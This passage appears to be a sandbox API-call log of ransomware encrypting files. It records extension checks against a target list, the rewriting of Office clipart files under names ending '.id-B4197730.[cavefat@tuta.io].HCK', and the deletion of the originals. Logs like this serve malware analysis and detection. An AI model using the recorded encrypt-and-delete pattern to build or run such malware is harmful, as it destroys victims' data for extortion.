(lpString1=".zip", lpString2=".WMF") returned 1 [0167.301] lstrlenW (lpString=".rar") returned 4 [0167.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString=".bz2") returned 4 [0167.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString=".7z") returned 3 [0167.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".dbf") returned 4 [0167.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".1cd") returned 4 [0167.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0167.301] lstrlenW (lpString=".jpg") returned 4 [0167.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.301] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.301] lstrlenW (lpString="J0107090.WMF") returned 12 [0167.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.308] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14132) returned 1 [0167.308] CloseHandle (hObject=0x2ec) returned 1 [0167.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0167.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.320] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.320] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.333] GetLastError () returned 0x0 [0167.333] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3734, lpOverlapped=0x0) returned 1 [0167.339] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3740, lpOverlapped=0x0) returned 1 [0167.340] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.340] WriteFile (in: hFile=0x364, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.340] SetEndOfFile (hFile=0x364) returned 1 [0167.356] CloseHandle (hObject=0x364) returned 1 [0167.364] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.364] SetEndOfFile (hFile=0x2ec) returned 1 [0167.368] CloseHandle (hObject=0x2ec) returned 1 [0167.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0167.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.376] lstrlenW (lpString=".doc") returned 4 [0167.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString=".docx") returned 5 [0167.376] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.376] lstrlenW (lpString=".pdf") returned 4 [0167.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString=".xls") returned 4 [0167.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.376] lstrlenW (lpString=".xlsx") returned 5 [0167.376] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.376] lstrlenW (lpString=".ppt") returned 4 [0167.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.376] lstrlenW (lpString=".zip") returned 4 [0167.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.376] lstrlenW (lpString=".rar") returned 4 [0167.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString=".bz2") returned 4 [0167.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString=".7z") returned 3 [0167.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.376] lstrlenW (lpString=".dbf") returned 4 [0167.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.376] lstrlenW (lpString=".1cd") returned 4 [0167.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".jpg") returned 4 [0167.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".doc") returned 4 [0167.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString=".docx") returned 5 [0167.377] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.377] lstrlenW (lpString=".pdf") returned 4 [0167.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString=".xls") returned 4 [0167.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.377] lstrlenW (lpString=".xlsx") returned 5 [0167.377] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.377] lstrlenW (lpString=".ppt") returned 4 [0167.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".zip") returned 4 [0167.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.377] lstrlenW (lpString=".rar") returned 4 [0167.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString=".bz2") returned 4 [0167.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString=".7z") returned 3 [0167.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".dbf") returned 4 [0167.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".1cd") returned 4 [0167.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0167.377] lstrlenW (lpString=".jpg") returned 4 [0167.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.377] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.377] lstrlenW (lpString="J0107138.WMF") returned 12 [0167.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.391] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=17200) returned 1 [0167.391] CloseHandle (hObject=0x370) returned 1 [0167.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 0x220 [0167.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0167.435] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.435] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.452] GetLastError () returned 0x0 [0167.452] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4330, lpOverlapped=0x0) returned 1 [0167.463] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4340, lpOverlapped=0x0) returned 1 [0167.464] ReadFile (in: hFile=0x2ec, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.464] WriteFile (in: hFile=0x370, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.464] SetEndOfFile (hFile=0x370) returned 1 [0167.467] CloseHandle (hObject=0x370) returned 1 [0167.472] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.472] SetEndOfFile (hFile=0x2ec) returned 1 [0167.479] CloseHandle (hObject=0x2ec) returned 1 [0167.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.481] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0167.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.485] lstrlenW (lpString=".doc") returned 4 [0167.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.485] lstrlenW (lpString=".docx") returned 5 [0167.485] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.485] lstrlenW (lpString=".pdf") returned 4 [0167.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.485] lstrlenW (lpString=".xls") returned 4 [0167.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.485] lstrlenW (lpString=".xlsx") returned 5 [0167.485] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.485] lstrlenW (lpString=".ppt") returned 4 [0167.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.485] lstrlenW (lpString=".zip") returned 4 [0167.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.485] lstrlenW (lpString=".rar") returned 4 [0167.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.485] lstrlenW (lpString=".bz2") returned 4 [0167.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString=".7z") returned 3 [0167.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".dbf") returned 4 [0167.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".1cd") returned 4 [0167.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".jpg") returned 4 [0167.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".doc") returned 4 [0167.486] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString=".docx") returned 5 [0167.486] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0167.486] lstrlenW (lpString=".pdf") returned 4 [0167.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString=".xls") returned 4 [0167.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.486] lstrlenW (lpString=".xlsx") returned 5 [0167.486] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0167.486] lstrlenW (lpString=".ppt") returned 4 [0167.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".zip") returned 4 [0167.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.486] lstrlenW (lpString=".rar") returned 4 [0167.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString=".bz2") returned 4 [0167.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString=".7z") returned 3 [0167.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".dbf") returned 4 [0167.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".1cd") returned 4 [0167.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF") returned 68 [0167.486] lstrlenW (lpString=".jpg") returned 4 [0167.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.486] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0167.486] lstrlenW (lpString="J0107152.WMF") returned 12 [0167.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0167.497] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=22532) returned 1 [0167.497] CloseHandle (hObject=0x2f4) returned 1 [0167.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0167.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0167.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.524] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.524] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0167.540] GetLastError () returned 0x0 [0167.540] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x5804, lpOverlapped=0x0) returned 1 [0167.542] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5810, lpOverlapped=0x0) returned 1 [0167.543] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.543] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.544] SetEndOfFile (hFile=0x378) returned 1 [0167.553] CloseHandle (hObject=0x378) returned 1 [0167.555] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.555] SetEndOfFile (hFile=0x364) returned 1 [0167.558] CloseHandle (hObject=0x364) returned 1 [0167.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.568] lstrlenW (lpString=".doc") returned 4 [0167.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.568] lstrlenW (lpString=".docx") returned 5 [0167.569] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.569] lstrlenW (lpString=".pdf") returned 4 [0167.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".xls") returned 4 [0167.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.569] lstrlenW (lpString=".xlsx") returned 5 [0167.569] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.569] lstrlenW (lpString=".ppt") returned 4 [0167.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".zip") returned 4 [0167.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.569] lstrlenW (lpString=".rar") returned 4 [0167.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".bz2") returned 4 [0167.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".7z") returned 3 [0167.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".dbf") returned 4 [0167.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".1cd") returned 4 [0167.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".jpg") returned 4 [0167.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".doc") returned 4 [0167.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".docx") returned 5 [0167.569] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.569] lstrlenW (lpString=".pdf") returned 4 [0167.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".xls") returned 4 [0167.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.569] lstrlenW (lpString=".xlsx") returned 5 [0167.569] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0167.569] lstrlenW (lpString=".ppt") returned 4 [0167.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0167.569] lstrlenW (lpString=".zip") returned 4 [0167.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.569] lstrlenW (lpString=".rar") returned 4 [0167.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".bz2") returned 4 [0167.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.569] lstrlenW (lpString=".7z") returned 3 [0167.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.569] lstrlenW (lpString="C:\\Program Files\\Microsoft 